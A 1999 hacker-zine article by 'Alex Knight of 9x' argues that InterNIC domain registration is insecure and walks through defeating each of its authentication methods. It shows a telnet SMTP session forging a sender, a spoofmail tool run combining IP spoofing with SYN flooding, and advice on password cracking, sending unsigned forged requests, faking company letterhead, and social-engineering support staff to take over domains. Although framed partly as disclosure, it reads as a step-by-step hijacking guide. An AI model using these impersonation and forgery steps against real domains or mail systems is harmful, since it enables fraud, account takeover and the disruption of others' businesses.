Untitled Document

Internet domains are not safe and secure. People can lose their domains at
any given moment, and removed of their ability to conduct business,
receive mail, have transactions, etc.

InterNIC is insecure. People think that because a company of Network
Solutions stature and position, that it would have a handle on it's baby
InterNIC. It doesn't. InterNIC has been proving to administrators, techs,
and engineers throughout the country that it does not have the knowledge,
control, or resources to handle the responsibilties of a service like its
own.

AUTHENTICATION

InterNIC is famous for having 4 ways of authenticating user requests are
coming from the user.

* MAILFROM Mail is coming from the email address assigned
to one of the contacts.
* CRYPT Requests can come from any address but a
standard unix crypt() password is required that
was assigned in cleartext upon registration.
* PGP Your public key is submitted to their database
upon registration, and you must pgp sign your
requests using your private key.
* FAX Fax your request on company letterhead.

Even with these three forms of authentication, InterNIC is insecure.

EMAIL SPOOFING

A simple way to avoid any MAILFROM registrations are to send spoofed
email. There are two methods you can approach this with: fake mail, and
fully-spoofed mail.

Fake mail is not 100% spoofed. The procedure for sending fake mail would
be to connect to a mail server, initiate an email from the Sender address,
and ship it off. The email _will_ look like it was from the official user,
however, headers will prove this wrong.

Example fake mail initiation (>>'s signify user input)

bash-2.00$ telnet phunc.com 25
Trying 209.249.172.58...
Connected to phunc.com (209.249.172.58).
Escape character is '^]'.
220 darkness.phunc.com ESMTP Sendmail 8.9.2/8.9.2; Wed, 17 Mar 1999
12:01:25 -0800 (PST)
>> HELO phunc.com
250 darkness.phunc.com Hello phunc.wsmg.digex.net [207.87.17.101],
pleased to meet you
>> MAIL FROM:bob@vila.com
250 bob@vila.com... Sender ok
>> RCPT TO:knight@phunc.com
250 knight@phunc.com... Recipient ok
>> DATA
354 Enter mail, end with "." on a line by itself
>> I am bob vila.
>> -bob
>>bob@vila.com .
250 MAA36653 Message accepted for delivery
QUIT
221 darkness.phunc.com closing connection
Connection closed by foreign host.

As you can see, we connected to the mail server, and initiated some fake
mail as bob@vila.com.

Example of received fake mail

Date: Wed, 17 Mar 1999 12:01:40 -0800 (PST)
From: bob@vila.com
To: undisclosed-recipients: ;

I am bob vila.
-bob

Our mail showed up from bob@vila.com. Now, before you go thinking you are
safe to send fake mail to everyone, be weary of headers. If you send mail
to anyone with a clue, or anyone who works with people with a clue,
headers _can_ prove your mail to be fake. Let me turn on my headers on my
mail client, and I will show you.

Example of received fake mail with headers

Return-Path:
Received: from phunc.com (phunc.wsmg.digex.net [207.87.17.101])
by darkness.phunc.com (8.9.2/8.9.2) with SMTP id MAA36653
for knight@phunc.com; Wed, 17 Mar 1999 12:01:40 -0800 (PST)
(envelope-from bob@vila.com)
Date: Wed, 17 Mar 1999 12:01:40 -0800 (PST)
From: bob@vila.com
Message-Id: <199903172001.MAA36653@darkness.phunc.com>
To: undisclosed-recipients:;

I am bob vila.
-bob

Now you can see that the mail originated from another host
(phunc.wsmg.digex.net) and hit phunc.com. Assuming the administration
knows what hosts are allowed to send mail from certain domains, or subnets
they can prove mail was not real. This isn't as easy as it sounds however.
Most internet customers tend to have their own domains anyways, send mail
from outside their subnet, etc. Just because I am not bob@vila.com, does
_not_ in any way shape or form mean that bob@vila.com doesn't use the
machine phunc.wsmg.digex.net. You only know he doesn't because I said he
does not.

Sending fully-spoofed mail is a better way to send mail if you truely want
to mirror a person. Essentially, to perform fully-spoofed mailing you
would encapsulate the above procedure adding ip spoofing. The only
drawback to ip spoofing, is you are left with a single direction of
communication (you ->clinton@whitehouze.gov mail server) because that server thinks you are
someone else, so the return packets go elsewhere.

Example of fully-spoofed mail

# spoofmail -f clinton@whitehouze.gov -h www.whitehouze.gov
-t knight@phunc.com -m phunc.com
Originator : clinton@whitehouze.gov
Fakehost : www.whitehouze.gov
Mail To : knight@phunc.com
Mail Server: phunc.com

Enter your message ending with a period on a line by itself:
Hi knight. I am Bill, your president. I wanted to thank
you for your recent shipment of cigars. -Bill
.
Guessing SYN/ACK...108400.
Synflooding www.whitehouze.gov...
Connecting as www.whitehouze.gov to phunc.com.
Sending mail... Sent.
Synflooding stopped. Connection closed.
#

Now looking at the headers should be completely different.

Example of received fully-spoofed mail with headers

Return-Path:
Received: from phunc.com (www.whitehouze.gov [209.81.9.231])
by darkness.phunc.com (8.9.2/8.9.2) with SMTP id MAA36653
for knight@phunc.com; Wed, 17 Mar 1999 12:01:40 -0800 (PST)
(envelope-from clinton@whitehouze.gov)
Date: Wed, 17 Mar 1999 12:01:40 -0800 (PST)
From: clinton@whitehouze.gov
Message-Id: <199903172001.MAA36653@darkness.phunc.com>
To: undisclosed-recipients:;

Hi knight. I am Bill, your president. I wanted to thank
you for your recent shipment of cigars. -Bill

This email looks definately more authoritative than the previous one from
bob@vila.com. It _shows_ a connection to the mail server from the same
domain as the user it was from. Who is going to argue with that? If you
have a reason to suspect it's spoofed, then of course you will argue. But,
under normal, day-to-day transactions, you will _absolutely not_ think
about it being fake.

CRYPT AVOIDANCE

This is probably the most "secure" and most-unused (odd eh?) method
InterNIC offers to authenticate authority. Getting around this is usually
a bit more difficult. The best thing I can think of would be to get the
user's crypt()'d password, and run something like Crack, qcrack, etc on
it. Even then, if you had the crypt()'d password, you would already have
enough to get access to changing their domain.

PGP AVOIDANCE

InterNIC is completely hilarious. Most people would expect this solution
to be the absolutely most secure and prefered way to secure their domain:
it isn't.

Imagine setting up a domain (go try it) and using PGP as authentication.
Now, assuming it has been up for atleast a week, send in a request using
fake-mail to submit as the contact, but do not pgp sign it.

You would expect a deny, correct? Wrong, negative, no points. InterNIC
will ignore the fact that you did _not_ include the proper PGP
authentication, and authenticate on the basis of MAILFROM, and we all know
how to get around that.

FAX AUTHENTICATION AVOIDANCE

If you have ever called InterNIC via voice, you will probably first wait
on hold (on a long distance number for crying out loud) for nearly an hour
(sometimes longer). Once you are on the phone with them, you can
request/demand/bitch for some changes. They will immediately ask you for
one or both of two things: fax on company letter head, and photocopy of
identification.

Often saying "The contacts no longer work for us" is enough to avoid the
identification card.

Creating this letterhead with Microsoft Word takes 3 minutes and imagine
adding Photoshop skills for creating a McDonalds header. Easy control over
InterNIC.

If you are good with words, social engineering, and getting what you want,
you might even be able to get your tasks done just by bitching at them via
voice, skipping the fax entirely.

Who's to argue? InterNIC won't.

SUMMARY

What does this mean? Who cares? Everyone, or atleast they will. InterNIC
is not capable of controlling one of the Internet's biggest and most
important resources: domain name servicing.

Domains are not safe. Even the largest sites like mcdonalds.com, nike.com,
and aol.com can be taken over for a day, several days, weeks, or even
months. Imagine this scenario, and Y2K added on top. I'm not worried,
because Network Solutions will be removed of their jobs soon. Y2K is an
issue and it will always be.

Alex Knight of 9x
March 17th, 1999
knight@phunc.com
knight@ninex.com